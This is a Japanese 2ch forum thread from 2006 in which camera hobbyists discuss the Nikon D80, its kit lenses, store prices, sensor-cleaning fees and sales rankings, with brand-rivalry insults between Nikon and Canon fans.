928 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:49:59 ID:Kd+29B4h0
なぁんだ、保険や補償にしがみつく貧乏人か。

929 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:50:18 ID:e4VqLqx70
>>924
プロパーのVISAなんてないですが

930 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:50:32 ID:FtuJH7Gw0
>>926
あと10分まってください。

931 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:51:54 ID:BtEo/vAY0
>>920
ほぉ〜、梅田か。めっちゃ恋しいわ、大阪が。
リクエストしても、宜しいかぁ?
直って来たら、梅田の夜景を撮って、うpして。
スカイビルからの展望なんか、どないよ?

932 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:52:59 ID:FtuJH7Gw0
>>931
修理あがったらうpしてやるよアホ

933 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:53:59 ID:lvowP22c0
>>924
口だけは、達者やのうw

934 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:55:20 ID:ARVnVYkx0
必死でつねw

935 :名無CCDさん@画素いっぱい:2006/09/30(土) 00:01:47 ID:kKSEVALS0
>>932
今まで1枚も撮影したことないのか?
今撮れとゆうとるんと違うんや、ボォケ!
さっさとUPせんかい!!

936 :名無CCDさん@画素いっぱい:2006/09/30(土) 00:02:12 ID:GtS7WL1r0
土日を前にしてなんか疲れたよ、ここ見たら
ネコや電柱とあまり変わらないけど
確か開放
ttp://static.flickr.com/82/250864747_71a5351701_o.jpg

937 :名無CCDさん@画素いっぱい:2006/09/30(土) 00:05:45 ID:frnEjTi80
今晩のFtuJH7Gw0はコイズみたいに作品うpモードなのかwktk

938 :名無CCDさん@画素いっぱい:2006/09/30(土) 00:09:39 ID:kKSEVALS0
ID:FtuJH7Gw0はよせいや!
それとも逃亡したんか、こら!!
ナンや、単なる腰抜けキャノネツッて、やつかいなwwwwwwwwwww

939 :931:2006/09/30(土) 00:17:40 ID:/Gxw9B6U0
>>932
楽しみにしとくわ。
梅田スカイビルから見た天保山方面を頼む。

940 :名無CCDさん@画素いっぱい:2006/09/30(土) 00:19:14 ID:rtKXjslj0
APS-Cサイズでは表現できないボケ味

って、どの画像のこといってんだ??

941 :名無CCDさん@画素いっぱい:2006/09/30(土) 00:20:02 ID:rtKXjslj0
しもた、940は前にリンクがあった
http://dc.watch.impress.co.jp/cda/weekend/2005/10/28/2576.html
へのことね。


942 :名無CCDさん@画素いっぱい:2006/09/30(土) 00:23:37 ID:/Gxw9B6U0
>>941
微妙にブスやねんけど。

943 :名無CCDさん@画素いっぱい:2006/09/30(土) 00:48:02 ID:16CtEKs00
>>942
この程度なら、その辺りのおっぱいパブにいるな。

944 :名無CCDさん@画素いっぱい:2006/09/30(土) 03:35:43 ID:H4pg0ppQ0
ローパスごみ清掃1回1000円って
歌舞伎町のおっぱいパブでもそこまで
ぼったくる店はないよね。

945 :名無CCDさん@画素いっぱい:2006/09/30(土) 03:35:43 ID:lZUuwDWx0
18-135のキットはかなり品薄らしいね
カメラやは持っているみたいだけど、それ以外は在庫無いらしい

946 :名無CCDさん@画素いっぱい:2006/09/30(土) 04:52:18 ID:AEIUAw3c0
ごみ取り装置着けないのはごみ取り清掃代でボるためなのか?
1年経ったら1回千円。
ソニータイマーみたいな徴収システムだなw

947 :名無CCDさん@画素いっぱい:2006/09/30(土) 04:56:37 ID:D9e+bnuC0
1年たたないうちに買い替えれば半永久無料w

948 :名無CCDさん@画素いっぱい:2006/09/30(土) 05:56:32 ID:KK4+7H6y0
D80マンセー

949 :名無CCDさん@画素いっぱい:2006/09/30(土) 06:32:41 ID:7y8AcHml0
18-135mm
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060930063137.jpg

950 :名無CCDさん@画素いっぱい:2006/09/30(土) 06:35:09 ID:7y8AcHml0
いかないですね、これだと行くかな?
18-135mm
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060930063137.jpg

951 :名無CCDさん@画素いっぱい:2006/09/30(土) 06:47:04 ID:/Ghpqdo/0
しかもSCが近くに無いと交通費や送料がバカにならない。
といってもコミコミでプロビア3本分くらいか。
あ、デジなのになんだよ、このランニングコスト。

952 :名無CCDさん@画素いっぱい:2006/09/30(土) 06:50:28 ID:Vcx6c0Yr0
>>949-950
どっちも大丈夫ですよ?
18-135のテレ端ですか。微妙な意見も合ったけど十分な写りですね。
それにしても135mmの長時間露光で全くブレなしは立派ですね。

953 :名無CCDさん@画素いっぱい:2006/09/30(土) 06:59:33 ID:GjuXDubC0
VR 18-200 近所じゃどこにも売ってないぞ
D80と一緒に買えた人は良いですねえ

しかたないからD80+SIG18-200で買っちゃった



954 :名無CCDさん@画素いっぱい:2006/09/30(土) 07:00:57 ID:GjuXDubC0
レンズ購入の相談はどこのスレが良いですか

955 :名無CCDさん@画素いっぱい:2006/09/30(土) 07:21:56 ID:JewQmY6p0
>>954

ニッコールレンズ(DX他) in デジ板 十六本目
http://hobby7.2ch.net/test/read.cgi/dcamera/1158411643/


956 :名無CCDさん@画素いっぱい:2006/09/30(土) 08:57:48 ID:q4yLEBHU0
>>954
上記のは駄目レンズしか載ってないから下記のスレにいったほうがいいよ

http://hobby7.2ch.net/test/read.cgi/dcamera/1155198924/

957 :名無CCDさん@画素いっぱい:2006/09/30(土) 09:18:45 ID:BTpC/IL80
>>956
それって普通に逆だろw

958 :名無CCDさん@画素いっぱい:2006/09/30(土) 10:05:06 ID:BavmKHSU0
ID:q4yLEBHU0
こいつ、上記のニッコールレンズのスレでも、キヤノネッツ振りを発揮している

959 :名無CCDさん@画素いっぱい:2006/09/30(土) 10:17:33 ID:JE3QYvy/0
なんで工作員どもはそんなに必死なんだ?
D80がいいカメラだとそんなに困るのかおまえんとこは。

気にするなよ、D80よりKDXのほうが売れてんじゃん。
糞ファインダだけどKDXのほうが売れてんじゃん。
ゴミ取りはたいして効果がないけどKDXのほうが売れてんじゃん。
ま、単独45%は無理だと思うけどな(笑)

俺は30Dや5Dの解像度最優先の不自然な写真より、KDXのほうが写りが素直で好きだよ。
ファインダがクソだから絶対買わないけどな(笑)

960 :名無CCDさん@画素いっぱい:2006/09/30(土) 10:21:03 ID:JT5QbgxtO
>>953
キタムラで予約すれば1週間で入荷するのに!
シグマ買うなんて安物買いの銭失いだぞw
即返品してVR18-200買えや(・∀・)

961 :名無CCDさん@画素いっぱい:2006/09/30(土) 10:26:33 ID:q4yLEBHU0
>>959
D80スレにおまえみたいなキモイ妄信ニコ爺が大量に泳いでるからだよドあほwww

962 :名無CCDさん@画素いっぱい:2006/09/30(土) 10:31:36 ID:JE3QYvy/0
>>961
ニコンのスレにニコン信者が泳いでて何が悪いのか、小一時間問い詰めてみたいもんだが?(笑)

なんか文句あんの? 言ってみろほれほれ。

963 :名無CCDさん@画素いっぱい:2006/09/30(土) 10:31:43 ID:BavmKHSU0
>>961
口がくせえぞ

964 :名無CCDさん@画素いっぱい:2006/09/30(土) 10:55:40 ID:q4yLEBHU0
>>962
別に悪いとは言っていません。

妄信っぷりが滑稽なだけです。

965 :名無CCDさん@画素いっぱい:2006/09/30(土) 11:15:26 ID:JE3QYvy/0
>>964
ほー。じゃ、D80のファインダが(・∀・)イイ!! のは俺の妄信なのか?
本当はD80よりKDXのファインダーのほうがイイのか。

これはすごいことを聞いたぞ。みんなに教えてやろう(笑)
当然、「キヤノンウザーに言わせると」って但し書きを付けてな(笑)

966 :名無CCDさん@画素いっぱい:2006/09/30(土) 11:21:30 ID:h3EDpWFL0
>>964
KDXのスレは過疎ってるから、アッチを盛り上げに行ってきたら?

…リアルユーザーも少なそうだし、何も語るネタがないのかw

967 :名無CCDさん@画素いっぱい:2006/09/30(土) 11:29:15 ID:lVhxYtT+0
ID:q4yLEBHU0=ID:FtuJH7Gw0じゃねーか?

968 :名無CCDさん@画素いっぱい:2006/09/30(土) 12:17:24 ID:7y8AcHml0
せっかく、>>950で18-135mmのレンズでうpしているのにスルーされるとは・・・


969 :名無CCDさん@画素いっぱい:2006/09/30(土) 13:02:39 ID:JT5QbgxtO
ニコンとキヤノン意外は糞メーカーだよw
SやPなんて糞やんw
持ってるのが恥ずかしいw

970 :名無CCDさん@画素いっぱい:2006/09/30(土) 13:03:04 ID:GjuXDubC0
>>955
ありがとう。いってきます。
>>960
近所のキタムラ予約しても2ヶ月待ちって言ってたよ

971 :名無CCDさん@画素いっぱい:2006/09/30(土) 13:24:51 ID:4/FL1nQP0
カメラ業界ってあくどい商売してるね
マイナーチェンジして新製品買わし、
高額な交換レンズでボッタクリ
ゴミクリーニングで修理代までボッタクリ
手ぶれ補正レンズで又ボッタクリ
CM流しまっくって儲かるんだから良い商売なんですね。



972 :名無CCDさん@画素いっぱい:2006/09/30(土) 13:28:37 ID:JT5QbgxtO
>>970
そう言って値引き交渉に応じないのだw
キタムラでは納期1週間で7万5千円出来る!
ガンガレ(´・∀・`)

973 :名無CCDさん@画素いっぱい:2006/09/30(土) 13:29:15 ID:BavmKHSU0
>>971
それじゃ、なんでコニカミノルタは撤退し、
ペンタックス、オリンパスは、風前の灯なんだ?

974 :名無CCDさん@画素いっぱい:2006/09/30(土) 13:30:06 ID:Fth/49kO0
キタムラの中人って宣伝下手だね

975 :名無CCDさん@画素いっぱい:2006/09/30(土) 13:53:52 ID:JT5QbgxtO
今本屋だけど今日発売のインプレスのムックないぞ!
今日発売だろ???

976 :名無CCDさん@画素いっぱい:2006/09/30(土) 13:59:51 ID:3SiVy8X00
キタムラ、D80+VR18-200で、187600円だと。
どこでもそので程度なのかな・・・orz

977 :名無CCDさん@画素いっぱい:2006/09/30(土) 14:02:02 ID:ebiJIBpC0
インプレスのムック本並みのローパス清掃代は1年後ズバリ1000円。

978 :名無CCDさん@画素いっぱい:2006/09/30(土) 14:28:33 ID:MFC1JeeOP
むっく買ったよ
横浜市内

D70sとの比較があって自己満足にひたるには最適

979 :名無CCDさん@画素いっぱい:2006/09/30(土) 14:37:34 ID:JT5QbgxtO
>>976
高いよw
あと1万円は余裕で値引き出来ます!

今から別の本屋にムック探しに逝きますw

980 :名無CCDさん@画素いっぱい:2006/09/30(土) 14:43:16 ID:3SiVy8X00
>>979
ええ?他のキタムラでもっと安く出してますか?

981 :名無CCDさん@画素いっぱい:2006/09/30(土) 14:48:17 ID:6e4s0y5b0
>>919
どこが面白いのかわからん。
おれ普通にメイン1D2,サブ1Ds2,そのサブD2Xだが。

982 :名無CCDさん@画素いっぱい:2006/09/30(土) 14:54:45 ID:JT5QbgxtO
>>980
D80とVR18-200とレンズフィルターで17万円5千円です。

983 :名無CCDさん@画素いっぱい:2006/09/30(土) 15:02:24 ID:FvhLwJv50
>>982
それは安いですね。
でも、地域差はあるんでしょうねぇ・・・。

984 :名無CCDさん@画素いっぱい:2006/09/30(土) 15:43:17 ID:OHLxKrsH0
VR18-200はDX18-70に比べてAF速度は遅いの?


985 :名無CCDさん@画素いっぱい:2006/09/30(土) 16:27:59 ID:75KYjrRN0
ID:q4yLEBHU0
コイズ、今から出かけるけど帰ったら相手してやるから
逃げんなよ。

986 :名無CCDさん@画素いっぱい:2006/09/30(土) 16:37:27 ID:q4yLEBHU0
>>985
逃げ台詞だけは達者だなwww

987 :名無CCDさん@画素いっぱい:2006/09/30(土) 16:39:38 ID:a4bbW7TuO
キタムラの知人に聞いたら全国的にD80はあまり売れてないみたい。
画質がデジタル臭い平板な絵なのでD200の人気が復活してるとか。

988 :名無CCDさん@画素いっぱい:2006/09/30(土) 16:49:37 ID:3SiVy8X00
200いいけど、デカイ・・・orz

989 :名無CCDさん@画素いっぱい:2006/09/30(土) 17:03:18 ID:7y8AcHml0
>>987
価格コムの順位(抜けてるところはコンデジ)はこうなっているが・・・
1位(→) EOS Kiss デジタル X ボディ
4位(→) D80
7位(↑) PENTAX K10D ボディ
8位(↓) PENTAX K100D ボディ
9位(↓) EOS 30D ボディ
13位(↓) D200
14位(↓) α100 DSLR-A100 ボディ
15位(↓) EOS 5D
17位(↓) PENTAX K100D レンズキット
18位(↓) EOS Kiss デジタル X ダブルズームレンズキット


990 :名無CCDさん@画素いっぱい:2006/09/30(土) 17:04:43 ID:7y8AcHml0
D50やD70sが圏外に去ったんじゃないのか?

991 :名無CCDさん@画素いっぱい:2006/09/30(土) 17:15:09 ID:6+YFwjvQ0
>>987
一人の適当な意見を信じるおまいはおかしいぞw

992 :名無CCDさん@画素いっぱい:2006/09/30(土) 17:23:21 ID:6+YFwjvQ0
>>983
その店の常連で交渉上手ならもっと安くなるとぞw

993 :名無CCDさん@画素いっぱい:2006/09/30(土) 17:49:35 ID:ipgbExyM0
・デジタルカメラ(レンズ交換型)の機種別販売台数シェア
1. canon KDX bkack Wzoom  12.5%
2. canon KDX bkack body  12.5%
3. canon KDX bkack kit   9.2%
4. nikon D80 body      7.2%
5. canon KDN bkack body   4.7%
6. niokn D80 kit      4.2%
7. nikon D70s kit      3.9%
8. sony α100 kit      3.7%
9. pentax K100D kit     3.4%
10.sony α100 Wzoom     3.1%
(2006/09/04〜10)

994 :名無CCDさん@画素いっぱい:2006/09/30(土) 18:07:53 ID:o2lirrY40
bkack?

995 :名無CCDさん@画素いっぱい:2006/09/30(土) 18:09:38 ID:7PZETV1m0
新色ジャネ?

996 :名無CCDさん@画素いっぱい:2006/09/30(土) 18:20:58 ID:wYfTZsuN0
間に合った。

次スレ
Nikon D80 Part.13
http://hobby7.2ch.net/test/read.cgi/dcamera/1159607838/

997 :名無CCDさん@画素いっぱい:2006/09/30(土) 18:25:37 ID:frnEjTi80
>>986
次スレでいいから作品うpして

998 :名無CCDさん@画素いっぱい:2006/09/30(土) 18:28:52 ID:xDnlUowP0
それでは

999 :名無CCDさん@画素いっぱい:2006/09/30(土) 18:29:23 ID:xDnlUowP0
次スレへ

1000 :名無CCDさん@画素いっぱい:2006/09/30(土) 18:29:27 ID:3rpPEuQ60
1000ムック

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

239 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)